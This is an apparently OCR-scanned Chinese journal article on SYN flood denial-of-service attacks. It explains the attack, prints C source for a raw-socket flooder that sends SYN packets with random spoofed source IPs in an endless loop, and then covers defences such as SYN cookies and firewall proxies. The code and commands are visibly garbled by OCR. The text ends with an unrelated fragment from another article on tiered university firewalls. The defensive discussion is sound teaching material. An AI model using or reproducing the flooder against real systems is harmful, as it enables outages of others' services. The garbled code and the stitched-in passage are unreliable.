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1 SYN Flood 攻击原理

拒绝服务攻击（DeniaI Of Service，DOS）是指黑客用

“合理”的服务请求来占用过多的服务资源，这些服务资

源包括网络带宽，文件系统空间容量，开放的进程或者

向内的连接，致使服务超载，无法响应其它的请求。尽

管计算机的处理速度、互联网的传输速度已相当快，内

存容量比较大，但都无法避免这种攻击，因为任何事都

有一个极限，黑客总能找到一个方法使请求的值大于该

极限值。SYN FIOOd 攻击是 DOS 攻击中一种典型的攻击

手法，发生在 2000 年 2 月的那次轰动全球的黑客攻击

事件中（包括 CNN，YahOO，AmazOn 在内的众多著名网站

都遭受了大规模的 DOS 攻击），SYN FIOOd 便是“罪魁祸

首”。

SYN FIOOd 攻击原理是：一台机器在网络中通信时

首先需要建立 TCP 连接，标准的 TCP 连接需要三次报

文交换［l］，具体过程如下：（l）源主机（S）发送带有 SYN
标志的报文段通知目标主机（D）需要建立 TCP 连接，并

将 TCP 报头中的 Seguence Number 设置成自己本次连接

的初始值 ISN。（2）D 收到了 S 发来的 SYN 包时，它会在

未完成连接队列中添加一个表项，记录一些与此连接请

求相关的信息，这种情况被称作半连接，然后，返回给 S
一个带有 SYN + ACK 标志的报文段，告之自己的 ISN，

并确 认 S 发 送 来 的 第 一 个 数 据 段，即 将 AcknOwIedge

Nnumber 设置成 S 的 ISN + l，D 进入 SYN RCVD 状态。

（3）正常情况下（图 l），S 最终会返回 ACK 包给 D，确认

收到 D 的报文段，即将 AcknOwIedge Number 设置成 D 的

ISN+ l。S 将未完成连接队列中的相关表项移入到已

完成连接队列中，供 Accept 函数取用，这时 D 进入 ES-
TABLISHED 状态。

在 SYN FIOOd 攻击中（图 2），源主机 S 向目标主机 D
发出的报文源地址是一个虚假的 IP 地址。当 D 收到请

求后，就会用一些资源来为新的连接提供服务，并回复

S 一个 ACK + SYN 包。由于 ACK + SYN 是返回一个假

的 IP 地址，因此没有任何响应。于是 D 继续发送 ACK
+ SYN 包，并将该半连接放入端口的积压队列中。一般

系统都有默认的回复次数和超时时间，又由于端口积压

队列的大小是有限的，当半连接过多时就会溢出。这就

将导致该端口无法去响应其它机器的连接请求，形成通

常所说的端口被“淹”的情况。尽管半连接一段时间后

会被清除，但只要不断向目标主机发送大量伪造 IP 的

SYN 请求，就可抵消清除的效果，最终使目标主机资源

耗尽。

2 SYN Flood 攻击实现
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2.1 主程序设计

int main（int argc，char! argv［］）

/!从命令行中获得对方主机的名称和端口号。对方主机的名称可以
是 IP 或域名地址! /

｛struct sockaddr in addr；
/!使用 sockaddr in 结构体来设置地址信息，sin famiIy 指代使用协议

簇，在 TCP 套接字编程中只能用 AF INET；sin port 存储端口号（使用网络字
节顺序），数据类型是一个 16 位的无符号整数类型；sin addr 存储 IP 地址

! /
struct hosttent !victim；
⋯

bzero（Saddr，sizeof（addr））；

/!套接字地址结构初始化为 0! /
addr . sin famiIy = AF INET；

addr . sin port = htons（atoi（argv［2］））；

if（inet aton（argv［1］，Saddr . sin addr）= = 0）
｛victim = gethostbyname（argv［1］）；

⋯

addr . sin addr = !（struct in addr!）（!victim"h addr Iist）［0］；
｝

/!调用函数 inet aton 和 gethostbyname 来获得对方主机二进制形式的

IP 地址! /
sockfd = socket（AF INET，SOCK RAW，0）；

/!因为需要伪造 IP 数据包的源 IP 地址，所以必须使用原始套接字来
发送这些 SYN 报文段。指定套接字的协议类型为 0，表明这个原始套接字可
以接受内核传递给原始套接字任何类型的 IP 数据包! /

⋯

setsockopt（sockfd，IPPROTO IP，IP HDRINCL，Son，sizeof（on））；

/!成功创建了一个原始套接字之后，主程序在这个套接字上设置 IP-
HDRINCL 选项，这样可以为发送的每个 IP 数据包填充数据报的首部内容! /

setuid（getpid（））；/!发送 SYN 报文段之前，函数 setuid 将程序的权限修
改为普通用户! /

send synfIood（sockfd，Saddr）；

/!函数 send synfIood 向对方服务器发送 SYN 数据包! /
｝

2.2 发送 SYN 数据包函数 Send Synflood 的实现

函数 Send SynfIood 生成的一个 SYN 数据包格式如

图 3 所示。
0 8 16 24 31

4 5 0 40
0 0

TTL OUT TPPROTO TCP 0

源 IP 地址：随机数

目的 IP 地址

源端口：1500 目的端口：8080
序列号：随机数

确认号：0
5 TH SYN 0

校验和 0

图 3 SYN 包设置

void send synfIood（int sockfd，struct sockaddr in !addr）
｛char buf［40］，sendbuf［40］；

struct ip !ip；

struct tcphdr !tcp；

struct pseudohdr /!伪首部结构定义! /
｛struct in addr saddr；

struct in addr daddr；
u char zero；
u char protocoI；
u short Iength；

｝pseudoheader；
Ien = sizeof（struct ip）+ sizeof（struct tcphdr）；

ip"ip v = 4；

ip"ip hI = sizeof（struct ip）> > 2；

ip"ip tos = 0；

ip"ip Ien = htons（Ien）；

ip"ip id = 0；

ip"ip off = 0；

ip"ip rtI = TTL OUT；

ip"ip p = IPPROTO TCP；

ip"ip sum = 0；

ip"ip dst = addr"sin addr；
/!协议域为 4，表示 IPv4。首部长度固定为 20 字节，即这一域的值为

5。服务类型为 0。IP 数据包的总长为 40 字节。标志为 0，碎片偏移为 0，生

存时间为 TTL OUT，协议域为 IP 数据部分封装的数据的协议，为 IPPROTO
TCP。首部的校验和为 0，IP 协议将自动计算一个校验和并填充这个域。IP
数据包的源地址是一个随机数，目的地址是参数 addr 中指定的 IP 地址。! /

tcp"th sport = htons（1500）；/!源端口号为恒定的 1500! /
tcp"th dport = addr"port；
/!目的端口号由参数 addr 中的端口号指定! /
tcp"tcp seg = random（）；/!序列号是一个随机数! /
tcp"tcp ack = 0；/!确认号为 0! /
tcp"th off = 5；

/!数据偏移域存储 TCP 数据段首部的长度，以 4 字节为单位。这个

SYN 数据段的首部长度固定为 20 字节，所以这个域的值为 5! /
tcp"th fIags = TH SYN；

/!标志域为 TH SYN（值为 0X02），表示该数据段为 SYN 数据包! /
tcp"th win = htons（2048）；

tcp"th sum = 0；

for（；；）

｛ip"ip src. s addr = random（）；

/!以下填写伪首部! /
pseudoheader . saddr . s addr = ip"ip src. s addr；
pseudoheader . daddr . s addr = addr"sin addr . s addr；
pseudoheader . zero = 0；

pseudoheader . procotoI = 4；

pseudoheader . Iength = sizeof（struct tcphdr）；

/!以下将伪首部和 TCP 首部复制到同一缓冲区 buf! /
bzero（buf，sizeof（buf））；

memcpy（buf，S pseudoheader，sizeof（pseudoheader））；

memcpy（buf + sizeof（pseudoheader），Stcp，sizeof（struct tcphdr））；

/!以下语句说明校验和域的值由函数 checksum 计算求得! /
tcp"th sum = checksum（（u short !）Sbuf，12 + sizeof（struct tcphdr））；

/ /以下将 IP 首部和 TCP 首部复制到同一缓冲区 sendbuf 后直接发送

bzero（sendbuf，sizeof（sendbuf））；

memcpy（sendbuf，S ip，sizeof（ip））；

memcpy（sendbuf + sizeof（ip），Stcp，sizeof（tcp））；

sendto（sockfd，sendbuf，Ien，0，addr，sizeof（struct sockaddr in））；

｝

/!每次发送的 IP 数据包仅源 IP 地址和其中的 TCP 数据段的校验和不同，

所以循环中仅修改这两个域的值，然后发送这个 IP 数据包! /
｝

函数 Send SynfIood 调用函数 Checksum 计算 TCP
数据段的校验和，这个函数的源代码如下：

unsigned short checksum（unsigned short !data，unsigned short Iength）

｛ int nIeft = Iength；

int sum = 0；

unsigned short !w = data；
unsigned short vaIue = 0；

whiIe（nIeft > 1）

｛ sum + = !w ++ ；

nIeft - = 2；

｝

if（nIeft = = 1）

｛ !（ unsigned char !）（SvaIue）= !（ unsigned char !）w；

sum + = answer；
｝

sum =（sum > > 16）+（sum S 0Xffff）；

sum + =（sum > > 16）；

vaIue = ~ sum；

return（vaIue）；

｝

3 SYN Flood 攻击防范

SYN FIood 攻击看似简单，但防御起来却不是很容

易，一方面，这种攻击使用的是正常 TCP 网络服务都不

会禁止的 SYN 类型数据包，而且因为数据包很小，黑客

可以很容易地在短时间内产生大量这样的数据包，还有

一点最重要，黑客根本不需要得到目标主机的返回信

息，所以他可以伪造数据包的源 IP 和源端口，让目标主

机无法追查攻击来源，也很难对随机产生的源 IP 地址
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和源端口进行过滤。下面的一些方法可以在一定程度

上有效地防范 SYN FIood 攻击。

3.1 设置一些 TCP / lP 协议参数

主机系统中，抵御 SYN FIood 攻击可以采用下列措施：

!增加 TCP 监听套接字未完成连接队列的最大长度；

"减少未完成连接队列的超时等待时间；

#使用诸如 SYN Cookies 这样的特殊措施。

在 Linux 系统（2.2 及以上内核版本）中，具体设置如

下：

（l）增加未完成连接队列（g0）的最大长度
# / sbin / sysctI-w net . ipv4 . tcp max syn backIog = l280

或者是：
# echo l280 > / proc / sys / net / ipv4 / tcp max syn backIog

（2）启用 TCP SYN Cookies 支持
# / sbin / sysctI-w net . ipv4 . tcp syn cookies = I
或者是：

# echo l > / proc / sys / net / ipv4 / tcp syn cookies

启用 SYN Cookies 来防止 SYN FIood 是 Linux 内核一

个特有的机制，SYN Cookies 操作中，当一台服务器 B 收

到来自用户 A 的 SYN 数据包后，会根据数据包提供的

源和目标 IP 地址、时间、端口号和一个秘密的数字源 IP
地址、源端口、目标 IP 地址、目标端口、以及一个系统秘

密数字，利用 MD5 算法所得到一个单精度值，这个值称

为 Syn Cookies。计算出的 SYN Cookies 被装入到 SYN /
ACK 响应数据包的初始化序列号内（ISNB），放在网上传

送出去。服务器不必记住用于初始化的序列号 ISNB 和

Cookie 值，也不用为积压队列分配空间。ISNB 计算方法

如下：ISNB = ISNA + MD5（Ks（T），saddr，sport，daddr，dport，Ks（T））

其中：Saddr 为源 IP 地址；Sport 为源端口；Daddr 为

目标 IP 地址；Dport 为目标端口；ISNA 为原 TCP 请求序

列号；Ks（T）为当前系统秘密数字。

如果 SYN 数据包是合法用户发送的，则此用户收

到服务器送来的 SYN + ACK 数据包后，会返回 ACK 数

据包，这样服务器就能对连接初始化，完成三次握手。

服务器还会同样根据 ACK 数据包的源和目标 IP 地址、

端口号、系统秘密数字进行计算，如果计算的结果与

ACK 内存储的已知值相匹配，则 Cookie 就是有效的。则

系统就知道收到的 ACK 数据包是利用三次握手建立的

连接的一部分。判断该 ACK 是否合法的方法为：
ISNB - l = = ISNA + MD5（Ks（T），saddr，sport，daddr，dport，Ks（T））

I I ISBN - l = = ISNA + MD5（Ks（t），saddr，sport，daddr，dport，Ks（t））

3.2 采用高性能的防火墙

现在 成 熟 的 防 火 墙 产 品，基 本 上 都 有 针 对 SYN
FIood 攻击的防御措施，其技术实现可以分为：

（l）SYN ThreshoId
这是最简单的一种 SYN FIood 攻击防御机制，其思

想是：设定一个未完成连接队列的限定值，如果超过了

该值，则丢弃 SYN 数据报文。最有代表性的是 Cisco 的

PIX 防火墙。

（2）SYN Defender
防火墙允许 SYN 包通过到达内网目标主机，并让

目标主机的 SYN + ACK 包通过防火墙回应给源主机，然

后它代表源主机产生一个 ACK 包回应给目标主机。这

样使得目标主机将半开连接从其积压队列中取出，释放

相应分配出去的系统资源。

在攻击的情况下（图 4），防火墙在代表源主机产生

一个 ACK 包回应给目标主机后，不能在一段时间后收

到正确的 ACK 包，它就向目标主机发出一个 RST 包以

终止连接。

在正常情况下（图 5），当源地址发出的合法 ACK 包

到达时，防火墙让其通过，这个重复的 ACK 包到达目标

主机，由于 TCP 能够正确处理重发的包，所以三次握手

能够正常建立，这样防火墙不再介入两台主机之间的数

据包传递。

这种方法的优点是：连接请求的建立基本没有延

时，而且一旦建立正常的连接，数据包的传递没有延时。

当然这种方法需要精确的设置超时时间，不至于因为源

主机回应时间过长而拒绝正常的连接请求。

这种机制存在自身的缺陷：一方面可能造成服务器

端的资源浪费；另一方面防火墙本身成为了可被利用的

一个潜在的弱点。这种防御机制中最有代表性的是

CheckPoint 的 FirewaII - l 防火墙。

（3）SYN Proxy
这是对 SYN Defender 的一种改进机制。代理防火

墙通常是为每个受其代理服务的应用程序而分别实现

的。每个代理应用对于客户程序而言就好似服务器，而

对于真正的服务器而言就似客户机。

当防火墙接收到一个发往内网某台主机的包时，防

火墙将代表该目标主机进行应答，直到成功地建立了三

次握手，再由防火墙与主机建立第二次连接。

在攻击的情况下（图 6），防火墙代替目标主机回应

攻击者发来的 SYN 包，因为最后的 ACK 不可能到达，防

火墙将终止连接，在整个过程中，目标主机没有接受任

何的数据包。当然，防火墙必须正确的设置，以确保自

身有效地对付 SYN FIood 攻击。

在正常连接的情况下（图 7），防火墙在收到 ACK 包

后，它将代表源地址主机与内网主机建立第二次连接。

此时它在两者之间起到代理的作用。

这种方法的优点是，内网主机绝对不会收到具有伪

地址的 SYN 包，从而不会遭受攻击。一个明显的缺点

是，如果是正常的连接请求，在建立 TCP 连接时以及连

接后传递正常数据包都将有延时。

采用 SYN Proxy 的代表是 Netscreen 防火墙，国内的

天网防火墙也采用这种机制。
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根据实践，采用 SYN Defender 机制的防火墙，对于

低于每秒发送 500 个以内的 SYN 包的 SYN FIood 攻击还

是比较有效的，攻击强度再大就不行了，而采用 SYN
Proxy 机制的防火墙，则可以有效抵御每秒发送 20 000
个左右 SYN 包的攻击。

通常情况下，即便黑客占用了所有 ISDN（xDSL）的

有

限带宽，发送 SYN 包的频率也不会超过 200 个 /每秒，所

以利用防火墙来防御 SYN FIood 攻击一般情况下都是比

较有效的，但如果黑客采用大规模的 DDoS 攻击，恐怕

任何防御措施都不能完全可靠，这也正是拒绝服务类型

的攻击为什么如此长盛不衰的一个原因。
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（上接第 79 页）图中 SOL 服务器中存放有财务数据、学生

档案、学籍、成绩报告等重要数据，属于数据层服务；OA
System（办公自动化系统），VOD System（视频点播系统）

由内部人员使用，属于中间层服务；WWW 服务、FTP 服

务、E-maiI 服务需要与 Internet 直接通信，属于表述层服

务。在该防火墙系统中，表述层防火墙采用路由器 Ac-
cess List 技术、ISA 代理服务器技术和相应的入侵监测

技术；中间层防火墙采用应用级网关技术；数据层防火

墙采用虚拟专用网络 VPN 技术。这样，通过三级系列

防火墙，实现了对学校最重要的数据服务器的安全保

护。

图 5 系列防火墙在甘肃工业大学的应用

! 结论

在这篇文章中，我们分析了几种能够满足多级应用

系统的 Internet 防火墙设计方案。单个防火墙有低价位

的优点，但是依靠单个防火墙或者合并应用系统的子网

常常会降低管理员对应用系统组件访问的控制能力。

通过配置系列防火墙我们可以大幅度提高来自 Internet
的非授权访问的难度，但是每个防火墙层的设计复杂度

也随之提高了，配置和维护防火墙的费用也有所增加。

在实际应用中，应根据具体情况选择合适的设计方案。

然而，在 Internet 中绝对安全的网络是不存在的，网络的

安全性越高，需要的代价就越大，工程师只能在网络性

能与成本之间寻求一个最佳的平衡点。
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